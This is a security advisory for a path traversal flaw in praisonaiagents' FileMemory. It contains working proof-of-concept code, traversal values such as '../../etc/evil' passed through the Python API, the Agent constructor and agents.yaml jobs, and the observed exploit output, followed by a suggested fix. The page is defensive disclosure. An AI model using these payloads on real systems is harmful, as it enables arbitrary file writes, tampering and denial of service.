CVE-2026-55527: praisonaiagents vulnerable to arbitrary file write via unsanitized `user_id` in `FileMemory.__init__()` — path traversal to any writable location
Summary praisonaiagents/memory/filememory.py::FileMemory.init() constructs all memory file paths by directly joining the userid parameter to a base path: No validation or normalization is applied to userid before the path join. An attacker who can supply a userid containing ../ sequences can write arbitrary JSON files (memory content) to any writable location on the filesystem.
Published Aug 25, 2026
Affected packages
praisonaiagents
- Ecosystem
- PyPI
- Affected
- < 1.6.58
- Fixed in
- 1.6.58
- Check
pip show praisonaiagents
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Summary
praisonaiagents/memory/file_memory.py::FileMemory.__init__() constructs all memory file paths by directly joining the user_id parameter to a base path:
self.user_path = self.base_path / user_id # LINE 145 — no sanitizationNo validation or normalization is applied to user_id before the path join. An attacker who can supply a user_id containing ../ sequences can write arbitrary JSON files (memory content) to any writable location on the filesystem.
The vulnerability is confirmed live on the current `main` branch (praisonaiagents==1.6.52) and is distinct from GHSA-766v-q9x3-g744 (which covered MultiAgentMonitor in an example file, not FileMemory in the core library).
Details
Vulnerable code — `praisonaiagents/memory/file_memory.py` lines 139-157:
def __init__(
self,
user_id: str = "default",
base_path: Optional[str] = None,
...
):
...
self.user_path = self.base_path / user_id # LINE 145 — NO SANITIZATION
self.episodic_path = self.user_path / "episodic"
self.user_path.mkdir(parents=True, exist_ok=True) # creates dirs at traversed path
self.episodic_path.mkdir(parents=True, exist_ok=True)
self.config_file = self.user_path / "config.json"
self.short_term_file = self.user_path / "short_term.json"
self.long_term_file = self.user_path / "long_term.json"
self.entities_file = self.user_path / "entities.json"
self.summaries_file = self.user_path / "summaries.json"All five JSON files are written under user_path, which is directly derived from the attacker-controlled user_id. The written content is valid JSON in the memory item format (configurable user content + metadata).
Comparison with the patched reference — `praisonaiagents/storage/backends.py` (SQLiteBackend):
The sibling SQLiteBackend validates its table_name with a regex:
if not re.match(r'^[a-zA-Z0-9_]+$', table_name):
raise ValueError(...)No equivalent validation exists in FileMemory.
Attack chains:
*A — Direct Python API (any caller):*
from praisonaiagents.memory.file_memory import FileMemory
mem = FileMemory(user_id="../../etc/evil")
mem.add_short_term("injected content")
# Creates /etc/evil/short_term.json (on Linux)
# Creates C:\evil\short_term.json (on Windows)*B — Via Agent constructor (memory dict):*
from praisonaiagents import Agent
agent = Agent(
name="assistant",
memory={"provider": "file", "user_id": "../../etc/evil"},
instructions="You are a helpful assistant.",
)
# FileMemory(user_id="../../etc/evil") called at agent init*C — Via agents.yaml / job submission (agent_yaml field):*
# Submitted via POST /jobs with agent_yaml:
agents:
researcher:
memory:
provider: file
user_id: "../../tmp/evil"
role: "Research assistant"
goal: "Research topics"agents_generator.py passes the memory.user_id value to the Agent constructor.
PoC
Environment: Python 3.9+, praisonaiagents <= 1.6.52
Step 1 — Verify path escapes base (no dependencies needed):
from pathlib import Path
import tempfile
base = Path(tempfile.gettempdir()) / "praisonai" / "memory"
user_id = "../../../tmp/evil_escape"
user_path = base / user_id
try:
user_path.resolve().relative_to(base.resolve())
print("SAFE")
except ValueError:
print("!!PATH ESCAPES BASE!!")
print("Writes to:", user_path.resolve())Output:
!!PATH ESCAPES BASE!!
Writes to: <TMPDIR>/tmp/evil_escapeStep 2 — Live exploit (files written outside base):
import tempfile, json
from pathlib import Path
from praisonaiagents.memory.file_memory import FileMemory
BASE = Path(tempfile.gettempdir()) / "praisonai_base" / "memory"
BASE.mkdir(parents=True, exist_ok=True)
TARGET = (BASE / "../../praisonai_path_traversal_proof").resolve()
mem = FileMemory(user_id="../../praisonai_path_traversal_proof", base_path=str(BASE))
mem.add_short_term("PROOF_OF_TRAVERSAL: attacker wrote this")
mem.add_long_term("SENSITIVE_DATA", importance=0.9)
# Verify files appeared OUTSIDE the base directory
for fname in ["short_term.json", "long_term.json", "config.json"]:
f = TARGET / fname
if f.exists():
print(f"WRITTEN: {f}")
print(f"Content: {json.loads(f.read_text())[0]['content'] if fname != 'config.json' else '...'}")Observed output (run on current `main`):
WRITTEN: <TMPDIR>/praisonai_path_traversal_proof/short_term.json
Content: PROOF_OF_TRAVERSAL: attacker wrote this
WRITTEN: <TMPDIR>/praisonai_path_traversal_proof/long_term.json
Content: SENSITIVE_DATA
WRITTEN: <TMPDIR>/praisonai_path_traversal_proof/config.jsonImpact
What kind of vulnerability: Arbitrary file write via path traversal. Any JSON content can be written to any filesystem path writable by the process.
Who is impacted:
- Any application that creates
FileMemoryinstances with user-controlleduser_id - Any PraisonAI deployment where users can supply the
user_idparameter directly or indirectly (viaAgent(memory={"user_id": ...}), agents.yaml, or jobs API)
High-impact scenarios:
- Overwrite Python package files: On systems where Python packages are stored in a world-writable or user-writable path, JSON files can be written over package files, causing import failures or (in edge cases) execution if a JSON parser is swapped for a Python parser.
- Overwrite web server / app config: Write
config.jsonorsettings.jsonto an app's configuration directory, potentially modifying runtime behavior.
- Cron / startup persistence: Write JSON files to
/etc/cron.d/paths (Linux) or%APPDATA%\Startup\(Windows) directories that might be interpreted by monitoring systems.
- Denial of Service: Write large JSON memory files into system directories, filling disk space or overwriting critical config files.
- Multi-tenant deployments: In a multi-tenant PraisonAI deployment where users can create agents with custom memory configs, one user can read/overwrite another user's memory files by traversing to their path.
Distinction from GHSA-766v-q9x3-g744:
| | GHSA-766v-q9x3-g744 | This finding | | File | `examples/context/12_multi_agent_context.py` (example) | `praisonaiagents/memory/file_memory.py` (core library) | | Class | `MultiAgentMonitor` | `FileMemory` | | Fixed in | `praisonaiagents >= 1.5.115` | **Not patched** (affects 1.6.52) |
---
## Remediation Suggestion (for maintainers)
Validate and resolve `user_id` before using it in path construction:
def __init__(self, user_id: str = "default", base_path=None, ...): ...
ADDED: sanitize user_id
import re if not re.match(r'^[a-zA-Z0-9_\-\.]+$', user_id): raise ValueError( f"user_id '{user_id}' contains invalid characters. " f"Only alphanumeric characters, hyphens, underscores, and dots are allowed." )
self.user_path = self.base_path / user_id
ADDED: verify the resolved path is within base (defense-in-depth)
resolved = self.user_path.resolve() base_resolved = self.base_path.resolve() try: resolved.relative_to(base_resolved) except ValueError: raise ValueError( f"user_id '{user_id}' would write outside the base memory directory." )
The same pattern should be applied to `base_path` parameter.Credited to evertrustai.
References
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
More PyPI vulnerabilities
All PyPI entriesCVE-2026-60087
PraisonAI: Human-in-the-loop tool approval is cached by tool name and silently reused for all subsequent calls with arbitrary arguments
medium6.1Oct 8, 2026CVE-2026-60089
PraisonAI: Project config can auto-save agent output outside the project root
medium6.9Oct 8, 2026CVE-2026-61430
PraisonAI: DNS rebinding bypass in `web_crawl` SSRF protection allows internal response disclosure
high8.5Oct 8, 2026CVE-2026-61432
PraisonAI: FastContext path resolution permits absolute and traversal reads outside the workspace
medium5.7Oct 8, 2026CVE-2026-61437
PraisonAI: Unsafe Dynamic Module Loading Leads to Arbitrary Code Execution via tools.py in AgentFlow
high7.8Oct 8, 2026CVE-2026-61443
PraisonAI: SkillTools Executes Scripts Without Path Containment Validation
high8.1Oct 8, 2026
